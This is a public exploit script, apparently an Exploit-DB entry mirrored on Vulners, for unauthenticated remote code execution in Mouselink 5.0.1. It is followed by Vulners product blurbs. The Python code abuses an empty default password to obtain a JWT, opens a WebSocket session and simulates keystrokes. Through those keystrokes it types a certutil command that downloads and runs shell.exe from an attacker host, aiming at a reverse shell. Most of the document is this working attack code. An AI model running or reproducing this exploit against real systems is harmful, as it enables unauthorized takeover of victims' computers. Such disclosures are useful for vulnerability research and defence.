# Exploit Title: Mouselink 5.0.1 - Remote Code Execution
# Date: 25/06/25
# Exploit Author: Chokri Hammedi
# Vendor Homepage: https://mouselink.app/
# Software Link: https://blob.mouselink.app/mouselink-win-Setup.exe
# Version: 5.0.1
# Tested on: Windows 10
'''
Description:
Mouselink 5.0.1 allows unauthenticated remote attackers to execute
arbitrary commands by abusing an exposed login endpoint and insecure
WebSocket-based keyboard simulation. With no password per default, an
attacker can obtain a JWT token, open a WebSocket session, and simulate
keystrokes to run code on the target. and reverse shell delivery.
'''
#!/usr/bin/env python3
import requests
import json
import base64
import secrets
import socket
import time
import struct
from urllib.parse import quote
SERVER_IP = "192.168.8.105"
SERVER_PORT = 11521
BASE_URL = f"http://{SERVER_IP}:{SERVER_PORT}"
lhost = "192.168.8.100"
payload = "shell.exe"
def get_device_info():
try:
requests.get(f"{BASE_URL}/api/device/info", params={"ip":
"b088f72a.mouselink.local."}, headers={"User-Agent": "Dart/3.5 (dart:io)",
"Accept-Encoding": "gzip", "Host": "b088f72a.mouselink.local.:11521"},
timeout=2)
except: pass
try:
requests.get(f"{BASE_URL}/api/device/info", params={"ip":
SERVER_IP}, headers={"User-Agent": "Dart/3.5 (dart:io)", "Accept-Encoding":
"gzip", "Host": f"{SERVER_IP}:{SERVER_PORT}"}, timeout=2)
except: pass
def login_and_get_token():
print("[*] Logging in to get JWT token...")
response = requests.get(
f"{BASE_URL}/api/login",
params={"username": "blue0x1", "password": ""},
headers={
"User-Agent": "Dart/3.5 (dart:io)",
"Accept-Encoding": "gzip",
"Host": f"{SERVER_IP}:{SERVER_PORT}"
},
timeout=5
)
if response.status_code != 200:
print(f"[-] Login failed with status: {response.status_code}")
return None
data = response.json()
if not data.get("success"):
print("[-] Login failed: Invalid credentials")
return None
token = data["data"]["key"]
print(f"[+] Obtained JWT token: {token[:50]}...")
return token
def negotiate_websocket(token):
if not token: return None
print("[*] Negotiating WebSocket connection...")
response = requests.post(
f"{BASE_URL}/mainhub/negotiate",
params={"access_token": token, "negotiateVersion": "1"},
headers={
"User-Agent": "Dart/3.5 (dart:io)",
"Content-Type": "text/plain;charset=UTF-8",
"X-Requested-With": "FlutterHttpClient",
"Accept-Encoding": "gzip",
"Host": f"{SERVER_IP}:{SERVER_PORT}"
},
timeout=5
)
if response.status_code != 200:
print(f"[-] Negotiation failed with status: {response.status_code}")
return None
return response.json()["connectionToken"]
def create_websocket_frame(payload):
payload_bytes = payload.encode('utf-8')
payload_len = len(payload_bytes)
header = bytearray([0b10000001])
if payload_len < 126:
header.append(0b10000000 | payload_len)
elif payload_len < 65536:
header.append(0b10000000 | 126)
header.extend(struct.pack('>H', payload_len))
else:
header.append(0b10000000 | 127)
header.extend(struct.pack('>Q', payload_len))
mask_key = secrets.token_bytes(4)
header.extend(mask_key)
masked_payload = bytearray(payload_bytes)
for i in range(payload_len): masked_payload[i] ^= mask_key[i % 4]
return header + masked_payload
def raw_websocket_handshake(token, connection_token):
if not token or not connection_token: return None
print("[*] Establishing WebSocket connection...")
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((SERVER_IP, SERVER_PORT))
key = base64.b64encode(secrets.token_bytes(16)).decode()
request = f"GET
/mainhub?access_token={quote(token)}&id={connection_token}
HTTP/1.1\r\nHost: {SERVER_IP}:{SERVER_PORT}\r\nUser-Agent: Dart/3.5
(dart:io)\r\nConnection: Upgrade\r\nCache-Control:
no-cache\r\nAccept-Encoding: gzip\r\nSec-WebSocket-Version:
13\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Extensions:
permessage-deflate; client_max_window_bits\r\nUpgrade: websocket\r\n\r\n"
sock.send(request.encode())
response = b""
while b"\r\n\r\n" not in response: response += sock.recv(1024)
if b"HTTP/1.1 101 Switching Protocols" not in response:
print("[-] WebSocket upgrade failed")
sock.close()
return None
print("[+] WebSocket connection established")
return sock
def send_websocket_messages(sock):
if not sock: return
print("[*] Sending protocol handshake...")
sock.send(create_websocket_frame('{"protocol":"json","version":1}\x1e'))
time.sleep(0.5)
print("[*] Sending Win+R shortcut...")
win_r =
json.dumps({"type":1,"headers":{},"invocationId":"1","target":"KeyboardShortcut","arguments":[[91,82]],"streamIds":[]})
+ '\x1e'
sock.send(create_websocket_frame(win_r))
time.sleep(1)
cmd = f"cmd /c certutil -urlcache -split -f http://{lhost}/{payload}
C:\\Windows\\Temp\\payload.exe & C:\\Windows\\Temp\\payload.exe"
print(f"[*] Sending payload command: {cmd[:50]}...")
cmd_input =
json.dumps({"type":1,"headers":{},"invocationId":"0","target":"KeyboardTextInput","arguments":[cmd],"streamIds":[]})
+ '\x1e'
sock.send(create_websocket_frame(cmd_input))
time.sleep(1)
print("[*] Sending Enter key...")
enter_key =
json.dumps({"type":1,"headers":{},"invocationId":"2","target":"KeyboardClick","arguments":[0,13],"streamIds":[]})
+ '\x1e'
sock.send(create_websocket_frame(enter_key))
time.sleep(0.5)
sock.close()
print("[+] Commands sent successfully!")
if __name__ == "__main__":
print("[*] Starting Attack...")
get_device_info()
jwt_token = login_and_get_token()
if not jwt_token:
print("[-] Attack aborted: Failed to obtain JWT token")
exit(1)
connection_token = negotiate_websocket(jwt_token)
if not connection_token:
print("[-] Attack aborted: Failed to obtain connection token")
exit(1)
sock = raw_websocket_handshake(jwt_token, connection_token)
if not sock:
print("[-] Attack aborted: WebSocket connection failed")
exit(1)
send_websocket_messages(sock)
print("[+] Attack completed! Check your listener for connection")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation